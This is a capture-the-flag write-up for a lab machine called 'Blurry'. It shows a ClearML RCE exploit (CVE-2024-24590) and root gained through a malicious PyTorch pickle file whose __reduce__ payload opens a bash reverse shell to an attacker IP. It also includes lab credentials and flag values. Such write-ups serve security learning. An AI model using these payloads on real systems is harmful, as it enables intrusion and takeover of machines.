Blurry
Recon
└─$ grep blur /etc/hosts
10.10.11.19 blurry.htb app.blurry.htb api.blurry.htb
HTTP (80)

Username used Test02

Googling for clearml vuln
gives CVE: ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590-
└─$ py -m venv venv
└─$ . ./venv/bin/activate
└─$ pip install clearml
Create credentials

CVE-2024-24590-ClearML-RCE-Exploit
└─$ clearml-init
ClearML SDK setup process
Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration
In settings page, press "Create new credentials", then press "Copy to clipboard".
Paste copied configuration here:
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "F7K2S0DTYUMBXUQP8HK5"
"secret_key" = "wbP0FrTePHEWdAKqO2Hlp8vTfRYM5ryWlDoGmRi78Jx8HKpdKP"
}
}
Detected credentials key="F7K2S0DTYUMBXUQP8HK5" secret="wbP0***"
ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb
Verifying credentials ...
Credentials verified!
New configuration stored in /home/woyag/clearml.conf
ClearML setup completed successfully.
Reverse Shell (jippity)
Run exploit. For project name I tried test
, then Black Swan
(already created) and after few exploits I finally caught the shell
└─$ pwncat -lp 4444
/home/woyag/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[03:30:55] Welcome to pwncat 🐈! __main__.py:164
[04:12:05] received connection from 10.10.11.19:51758 bind.py:84
[04:12:07] 0.0.0.0:4444: normalizing shell path manager.py:957
[04:12:08] 10.10.11.19:51758: registered new host w/ db manager.py:957
(local) pwncat$
User.txt
(remote) jippity@blurry:/home/jippity$ cat user.txt
0ca09d934a5d41f7b547604d8002d97f
Privilege Escalation (root)
(remote) jippity@blurry:/home/jippity$ cat clearml.conf | grep -v '#'
api {
...
credentials {"access_key": "8TL83TDO2YXCQ4789DE4", "secret_key": "peFoHVcUTMA0JdhOHNoQTioLSmtbKEiAVxZXJSHku4LyHlOTUB"}
}
...
(remote) jippity@blurry:/home/jippity/automation$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
evaluate_model
is just a bash script that handles python script:
(remote) jippity@blurry:/home/jippity/automation$ cat /models/evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys
class CustomCNN(nn.Module):
def __init__(self):
super(CustomCNN, self).__init__()
self.conv1 = nn.Conv2d(in_channels=3, out_channels=16, kernel_size=3, padding=1)
self.conv2 = nn.Conv2d(in_channels=16, out_channels=32, kernel_size=3, padding=1)
self.pool = nn.MaxPool2d(kernel_size=2, stride=2, padding=0)
self.fc1 = nn.Linear(in_features=32 * 8 * 8, out_features=128)
self.fc2 = nn.Linear(in_features=128, out_features=10)
self.relu = nn.ReLU()
def forward(self, x):
x = self.pool(self.relu(self.conv1(x)))
x = self.pool(self.relu(self.conv2(x)))
x = x.view(-1, 32 * 8 * 8)
x = self.relu(self.fc1(x))
x = self.fc2(x)
return x
def load_model(model_path):
model = CustomCNN()
state_dict = torch.load(model_path)
model.load_state_dict(state_dict)
model.eval()
return model
def prepare_dataloader(batch_size=32):
transform = transforms.Compose([
transforms.RandomHorizontalFlip(),
transforms.RandomCrop(32, padding=4),
transforms.ToTensor(),
transforms.Normalize(mean=[0.4914, 0.4822, 0.4465], std=[0.2023, 0.1994, 0.2010]),
])
dataset = CIFAR10(root='/root/datasets/', train=False, download=False, transform=transform)
subset = Subset(dataset, indices=np.random.choice(len(dataset), 64, replace=False))
dataloader = DataLoader(subset, batch_size=batch_size, shuffle=False)
return dataloader
def evaluate_model(model, dataloader):
correct = 0
total = 0
with torch.no_grad():
for images, labels in dataloader:
outputs = model(images)
_, predicted = torch.max(outputs.data, 1)
total += labels.size(0)
correct += (predicted == labels).sum().item()
accuracy = 100 * correct / total
print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')
def main(model_path):
model = load_model(model_path)
print("[+] Loaded Model.")
dataloader = prepare_dataloader()
print("[+] Dataloader ready. Evaluating model...")
evaluate_model(model, dataloader)
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python script.py <path_to_model.pth>")
else:
model_path = sys.argv[1] # Path to the .pth file
main(model_path)
pth
extension is PyTorch's extension for models which uses Pickle to load/dump data.

Example taken from PyTorch torch.nn.Module
import os
import torch
import torch.nn as nn
import torch.nn.functional as F
class Model(nn.Module):
def __init__(self):
super().__init__()
self.conv1 = nn.Conv2d(1, 20, 5)
self.conv2 = nn.Conv2d(20, 20, 5)
def forward(self, x):
x = F.relu(self.conv1(x))
return F.relu(self.conv2(x))
def __reduce__(self):
# cmd = "cp /bin/bash /tmp/rootbash && chmod 4777 /tmp/rootbash"
cmd = "bash -c '/bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1'"
return (os.system, (cmd, ))
torch.save(Model(), 'model.pth')
I changed cmd
to reverse shell because the model kept hanging on me and not creating the backdoor. Catch the shell and pwn.
└─$ pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cpu
└─$ py model_exploit.py
└─$ file model.pth
model.pth: Zip archive data, at least v0.0 to extract, compression method=store
---
(remote) jippity@blurry:/tmp$
(local) pwncat$ upload model.pth
./model.pth ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 920/920 bytes • ? • 0:00:00
[09:32:38] uploaded 920.00B in 1.79 seconds upload.py:76
(local) pwncat$
(remote) jippity@blurry:/tmp$ cp model.pth /models/
(remote) jippity@blurry:/tmp$ sudo /usr/bin/evaluate_model /models/model.pth
[+] Model /models/model.pth is considered safe. Processing...
---
Root.txt
root@blurry:~# cat root.txt
2873083cced14db60ed32e8600ed02b0
Last updated